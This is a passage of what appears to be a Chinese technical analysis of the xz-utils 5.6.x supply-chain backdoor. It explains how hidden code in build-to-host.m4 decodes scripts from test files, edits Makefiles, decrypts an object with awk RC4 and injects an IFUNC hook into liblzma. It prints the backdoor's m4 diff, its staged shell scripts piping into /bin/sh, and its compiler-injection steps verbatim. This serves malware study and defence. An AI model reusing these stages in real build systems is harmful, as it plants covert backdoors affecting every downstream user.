Part 1 Script

分析

什么是IFUNC

根据解释,通过IFUNC,使得应用程序可以在运行时对函数进行重定向,通过编写解析器函数,在运行时通过解析器函数动态选择函数并执行、

攻击流程

图源:https://twitter.com/fr0gger_/status/1774342248437813525

环境准备

下载rpm源码 https://kojipkgs.fedoraproject.org/packages/xz/

解压rpm源码包,获取源码

apt install rmp2cpio cpio
rpm2cpio xz-5.4.6-3.fc41.src.rpm | cpio -idmv

参考

https://github.com/0xchrisw/xz-utils-backdoor

解压源码之后可以开始正式分析了。

configure

build-to-host.m4是一个正常的文件,可以通过安装gettext获得,攻击者修改了合法的脚本,在其中添加了恶意代码。

让我们开始分析build-to-host.m4干了什么,从源码中diff该脚本,结果如下

diff --git a/build-to-host.m4 b/5.6.1/xz-5.6.1/m4/build-to-host.m4
index ad22a0a..d5ec315 100644
--- a/build-to-host.m4
+++ b/5.6.1/xz-5.6.1/m4/build-to-host.m4
@@ -1,5 +1,5 @@
-# build-to-host.m4 serial 3
-dnl Copyright (C) 2023 Free Software Foundation, Inc.
+# build-to-host.m4 serial 30
+dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
 dnl with or without modifications, as long as this notice is preserved.
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"

前置知识

AC_DEFUN定义一个宏,里面可以包含指令。 AC_REQUIRE用来引入定义好的宏,引入后会在当前宏执行前执行引入的宏。

所以会先执行如下命令

  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
  if test -n "$gl_am_configmake"; then
    HAVE_PKG_CONFIGMAKE=1
  else
    HAVE_PKG_CONFIGMAKE=0
  fi

其命令在目标目录执行结果如下,所以脚本会设置gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xzHAVE_PKG_CONFIGMAKE=1

➜  xz-5.6.1 grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null
./tests/files/bad-3-corrupt_lzma2.xz

继续解析脚本,gl_path_map被设置为tr "\t \-_" " \t_\-"命令。

gl_path_map='tr "\t \-_" " \t_\-"'

前面知道gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz。所以可以得到gl_[$1]_prefix=xz,所以会进入到if内执行下个命令。

...
gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
...
  if test "x$gl_am_configmake" != "x"; then
    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
  else
    gl_[$1]_config=''
  fi

gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

这里sed相当于cat,因为尝试使用r命令读取一个文件,但\n文件并不存在,所以会打印$gl_am_configmake,将变量展开,这条命令实际上是

cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null

最后使用AC_CONFIG_COMMANDS定义了一个宏,在该宏中会运行gl_[$1]_config,这个宏会在configure脚本运行时执行。

  _LT_TAGDECL([], [gl_path_map], [2])dnl
  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
  AC_SUBST([$1_c_make])

  dnl If the host conversion code has been placed in $gl_config_gt,
  dnl instead of duplicating it all over again into config.status,
  dnl then we will have config.status run $gl_config_gt later, so it
  dnl needs to know what name is stored there:
  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])

让我们手动执行,将得到如下执行结果:

**➜  xz-5.6.1 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null
####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +939)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
eval $i|tail -c +31233|
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|
xz -F raw --lzma1 -dc|/bin/sh
####World####

而这条命令在5.6.0版本上执行结果略有不同

➜  xz-5.6.0 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +724)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
eval $i|tail -c +31265|
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|
xz -F raw --lzma1 -dc|/bin/sh
####World####

让我们来分析以下这两个执行结果之间的区别。首先显而易见的是5.6.1的后门只在Linux上执行。其次最后一个head命令的偏移量不同(939/724)。tr命令的参数也不同。

很明显提取出来的脚本会读取tests/files/good-large_compressed.lzma,并使用head命令将打乱的压缩数据重新组装,并使用tr命令进行替换后得到正确的压缩数据,最后使用xz解压缩。并将解压缩后的代码交给/bin/sh解释

让我们手动执行该命令(基于5.6.1)可以发现解压出来的是一段shell脚本。

(xz -dc ./tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc
# below is output
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
......

逐一分析这段shell脚本。首先脚本会设置一堆环境变量,设置完成之后检查了当前系统是否是Linux,不是Linux则退出

[ ! $(uname)="Linux" ] && exit 0

而后执行eval,但在这之前并未设置$zrKcVq,所以这句代码什么也不干,或许这行代码可以用于以后调试或拓展功能1

eval $zrKcVq

之后测试config.status文件是否存在,如果存在则使用grep并通过正则表达式在config.status文件中寻找响应的行,并通过eval执行,这相当于设置了一些环境变量。

if test -f config.status; then
eval $zrKcSS
eval `grep ^LD=\'\/ config.status`
eval `grep ^CC=\' config.status`
eval `grep ^GCC=\' config.status`
eval `grep ^srcdir=\' config.status`
eval `grep ^build=\'x86_64 config.status`
eval `grep ^enable_shared=\'yes\' config.status`
eval `grep ^enable_static=\' config.status`
eval `grep ^gl_path_map=\' config.status`
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

注意到其中含有两个包含神秘正则表达式的命令:grep -broaF '~!:_ W' $srcdir/tests/files/grep -broaF '|_!{ -' $srcdir/tests/files/

梳理其逻辑会发现跟从good-large_compressed.lzma提取脚本类似,会从项目中匹配满足正则表达式的文件,如果找到了相应的文件则会进行一系列剪切组装的操作,解压并尝试从其中提取脚本而后执行。

在项目目录下执行,很明显,不会有相应的文件被匹配到。设置这个会方便攻击者拓展功能,而不必更新现有的二进制文件,只需要添加新的测试文件即可1

之后执行下面的代码,通过两种方式分别从config.statusconfig.h文件中查询是否启用ifunc,如果没有则会退出,因为ifunc是后门能够hook函数的关键。

if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0

确认共享库是否已启用

if test "x$enable_shared" != "xyes";then
exit 0
fi

确认当前系统是否是x86-64以及是否是glibc系统

eval `grep ^build=\'x86_64 config.status`
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0

确认源码中含有后门必须的代码,代码在 ee44863ae88e377a5df10db007ba9bfadde3d314引入,引入的代码实现了针对CRC32的IFUNC。

if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0

编译需要gcc和ld

if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0

需要包含含有后门的测试文件

p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
exit 0

在构建deb包时,dpkg-buildpackage会生成debian/rules目录,构建RPM包时会有环境变量RPM_ARCH = "xx86_64"。所以当处于构建deb或者RPM包时,能通过if判断,脚本会进入if语句内执行一堆检查,以确认Makefile中是否包含后门所需修改的行。

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
eval $zrKcst
j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
z="^am__uninstall_files_from_dir = {"
if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
w="^am__install_max ="
if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
E=$z
if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
Q="^am__vpath_adj_setup ="
if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
M="^am__include = include"
if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
L="^all: all-recursive$"
if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi

下面的命令会检查是否开启-fPIC(位置无关代码)

O="^pic_flag=\" -fPIC -DPIC\"$"
if ! grep -qs "$O" libtool > /dev/null 2>&1;then
exit 0
fi

接下来就开始修改项目的Makefile,使用sed -i修改文件,让我们展开变量看看最终的命令是什么。

j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
U="bad-3-corrupt_lzma2.xz"

b="am__test = $U"
sed -i "/$j/i$b" src/liblzma/Makefile || true

# finally
sed -i /^ACLOCAL_M4 = $(top_srcdir)\/aclocal.m4/iam__test = bad-3-corrupt_lzma2.xz src/liblzma/Makefile || true

#result
am__test = bad-3-corrupt_lzma2.xz
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4

作为一个shell新手,其实在这里会有一个疑问,为什么在sed命令之后要添加|| true,将这个问题扔给AI,解释如下:

|| true 的存在是为了防止 sed 命令失败时导致整个脚本退出。在 Shell 脚本中,如果一个命令失败(即,它的退出状态不是 0),那么整个脚本会立即退出。|| true 可以防止这种情况,即使 sed命令失败,脚本也会继续执行。这是因为 true 命令总是成功的,所以 || true 总是成功的。

也就是会找到ACLOCAL_M4所在的行,并在其前面插入一行am__test = bad-3-corrupt_lzma2.xz

接下来会继续修改Makefile,在am__install_max所在的行前插入一条命令

d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
b="am__strip_prefix = $d"
sed -i "/$w/i$b" src/liblzma/Makefile || true

#result
am__strip_prefix = tr "	 \-_" " 	_\-"
am__install_max = 40

接下来继续修改。

b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
sed -i "/$E/i$b" src/liblzma/Makefile || true
b="\$(top_srcdir)/tests/files/\$(am__test)"
s="am__test_dir=$b"
sed -i "/$Q/i$s" src/liblzma/Makefile || true

最终会在Makefile里面插入以下代码

am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__strip_prefix = tr "	 \-_" " 	_\-"
am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)

结束上面的操作之后,脚本会尝试找到编译参数LDFLAGS,并寻找里面是否含有-z,now-z -Wl,now如果没有则会将其和另外的一些编译参数一起添加到liblzma_la_LDFLAGS

h="-Wl,--sort-section=name,-X"
if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
h=$h",-z,now"
fi
j="liblzma_la_LDFLAGS += $h"
sed -i "/$L/i$j" src/liblzma/Makefile || true

其中-z -Wl,now是gcc的链接器的参数,通过添加这个参数可以让链接器在程序启动时立即加载所有so并解析所有符号,通常来说这是用于加强程序安全性的选项,而不是按需加载。

它还具有在解析过程中启动时运行 GNU 间接函数 (ifunc) 解析器的效果,并且后门安排从其中之一调用。后门设置的早期调用使其在表仍然可写时运行,从而允许后门用自己的版本替换 RSA_public_decrypt 的条目1

sed -i "s/$O/$C/g" libtool || true
#result
pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"

脚本接下会将libtool中的pic_flag添加 -fno-lto -ffunction-sections -fdata-sections,添加的参数会禁用链接时间优化,

k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
sed -i "s/$u/$k/" src/liblzma/Makefile || true
l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
    export top_srcdir='\$(top_srcdir)'; \\\\\n\
    export CC='\$(CC)'; \\\\\n\
    export DEFS='\$(DEFS)'; \\\\\n\
    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
    export INCLUDES='\$(INCLUDES)'; \\\\\n\
    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
    export CFLAGS='\$(CFLAGS)'; \\\\\n\
    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
    export libdir='\$(libdir)'; \\\\\n\
    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
sed -i "/$m/i$l" src/liblzma/Makefile || true
eval $zrKcHD

接下来脚本会先在Makefile中添加一行AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))而后在Makefile中添加下面的shell脚本

LTDEPS='$(lib_LTDEPS)'; \
    export top_srcdir='$(top_srcdir)'; \
    export CC='$(CC)'; \
    export DEFS='$(DEFS)'; \
    export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
    export INCLUDES='$(INCLUDES)'; \
    export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
    export CPPFLAGS='$(CPPFLAGS)'; \
    export AM_CFLAGS='$(AM_CFLAGS)'; \
    export CFLAGS='$(CFLAGS)'; \
    export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
    export liblzma_la_LINK='$(liblzma_la_LINK)'; \
    export libdir='$(libdir)'; \
    export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
    export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

实际上这里的sed rpath跟前面的sed "r\n"一样,充当cat的作用,所以这句命令实际上是

cat tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d 2>/dev/null | /bin/sh

很明显,脚本又从good-large_compressed.lzma解密出自己,并执行,相当于递归执行。乍一看这脚本貌似会一直循环解密、执行、解密、执行,像一个zip炸弹一样,直到系统资源耗尽。但很明显攻击者不会犯这样明显的错误。

让我们仔细分析一下,在第二次运行时,他已经不是被./configure启动,而是在make时由make从Makefile中读取并执行,根据make原理,第二次运行脚本命令所在的目录不是项目根目录而是src/liblzma,所以在前面设置完环境变量后,在第一个if判断时,找不到config.status文件,会跳过if内的语句,尝试执行elif内的语句。

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

而判断构建deb包所在的if处于第一个if内,所以并不会再次解压运行。

elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o)

Make

在elif中首先校验liblzma_la-crc64_fast.o是否存在,这是由src/liblzma/check/crc32_fast.c编译生成,即判断当前是否处在Make过程中。

    vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
    if test "x$vs" != "x" > /dev/null 2>&1;then
        f1=`echo $vs | cut -d: -f1`
        if test "x$f1" != "x" > /dev/null 2>&1;then
            start=`expr $(echo $vs | cut -d: -f2) + 7`
            ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
            if test "x$ve" != "x" > /dev/null 2>&1;then
                f2=`echo $ve | cut -d: -f1`
                if test "x$f2" != "x" > /dev/null 2>&1;then
                    [ ! "x$f2" = "x$f1" ] && exit 0
                    [ ! -f $f1 ] && exit 0
                    end=`expr $(echo $ve | cut -d: -f2) - $start`
                    eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
                fi
            fi
        fi
    fi
    eval $zrKcKQ
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
        exit 0
    fi
    if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
        exit 0
    fi
    if ! grep -qs "$C" ../../libtool; then
        exit 0
    fi
    if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
        exit 0
    fi
    if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
        exit 0
    fi

跟前面一样,脚本会尝试寻找符合正则表达式'jV!.^%'%.R.1Z的测试文件,如果存在则会尝试从中提取脚本并执行,当然目前来说还不存在。而后脚本会判断一系列文件是否存在,这些文件是后门所依赖的。

判断编译标志中是否含有之前注入的编译标志,以及是否含有lazy标志,这个标志和-z,now冲突

-z lazy(默认):动态链接器将推迟函数符号的解析,直到程序第一次调用函数时。这被称为 “lazy binding”,可以加快程序的启动时间,但可能会导致稍微的运行时开销,因为需要在运行时解析符号。

    N=0
    W=0
    Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
    eval $zrKcjv
    if test -z "$Y"; then
        N=0
        W=88664
    else
        N=88664
        W=0
    fi

尝试在m4/gettext.m中寻找dnl Convert it to C string syntax,根据寻找结果确定变量的值,在样本tar包中的gettext.m4并不存在该字符串所以最终结果是N=0 W=88664

    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" 

这里p="good-large_compressed.lzma",而i正是前面从export的通过head从good-large_compressed.lzma中提取数据的一小段脚本,这里在提取之后通过sed命令在每个字节后面插入一个换行而后通过管道传递给后面的命令。

m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
LC_ALL=C awk 'BEGIN{
	FS="\n";
	RS="\n";
	ORS="";
	m=256;
	for(i=0;i<m;i++){
		t[sprintf("x%c",i)]=i;
		c[i]=((i*7)+5)%m;
	}
	i=0;
	j=0;
	for(l=0;l<8192;l++){
		i=(i+1)%m;
		a=c[i];
		j=(j+a)%m;
		c[i]=c[j];
		c[j]=a;
	}
}{
	v=t["x" (NF<1?RS:$1)];
	i=(i+1)%m;
	a=c[i];
	j=(j+a)%m;
	b=c[j];
	c[i]=b;
	c[j]=a;
	k=c[(a+b)%m];
	printf "%c",(v+k)%m}' |

这里通过awk在命令行实现了RC4算法2

 xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
    if ! test -f liblzma_la-crc64-fast.o; then
        exit 0
    fi

在通过RC算法解密之后,通过管道传递给xz进行解压缩,在通过head命令跳过某个数量的字节,在本例中N为0,即不跳过,将88664个字节的数据写入到liblzma_la-crc64-fast.o

    if ! test -f liblzma_la-crc64-fast.o; then
        exit 0
    fi

之后检查是否写入成功, 如果写入失败则退出脚本。

    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true

将.libs目录的liblzma_la-crc64_fast.o复制为liblzma_la-crc64-fast.o,这是在.libs目录下,不是在脚本当前目录下,所以这是复制make编译出来的文件,而不是刚刚释放的恶意文件

V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then

这段脚本定义了变量V,其值很明显为一段C代码,而后通过sed组合了一段代码,通过管道传递给了$CC的标准输入。

而$CC 含有参数-r liblzma_la-crc64-fast.o-x -c -,意味着编译器会从标准输入读取C代码,将输入的liblzma_la-crc64-fast.o和从标准输入读取的代码编译后的.o文件合并到生成的对象文件中,这一步可以将攻击者的恶意代码得以插入到生成的so中。

AI关于gcc -r参数的解释

GCC 的 -r 或者 --relocatable 参数用于生成可重定位的目标文件。这意味着生成的 .o 文件可以和其他 .o 文件链接在一起生成一个新的 .o 文件。

如果将if去掉,手动运行得到的C代码,并将其和原代码difff可得

1d0
< # 0 "./src/liblzma/check/crc64_fast.c"
21,26d19
< #if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
< extern int _get_cpuid(int, void*, void*, void*, void*, void*);
< static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
< #else
< #define _is_arch_extension_supported is_arch_extension_supported
< #endif
112c105
< return _is_arch_extension_supported()
---
>       return is_arch_extension_supported()

很明显,在传递给gcc的恶意c代码中声明了static inline bool _is_arch_extension_supported(void)和外部函数int _get_cpuid(int, void*, void*, void*, void*, void*);并且实现ifunc功能的crc64_resolve函数调用插入的_is_arch_extension_supported函数,而_is_arch_extension_supported调用了_get_cpuid函数。

_get_cpuid由传递给gcc的恶意.o文件导出的。关于这个恶意文件后面再分析,我们接着分析这个恶意脚本。

cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
sed "/include \"crc32_arm64.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
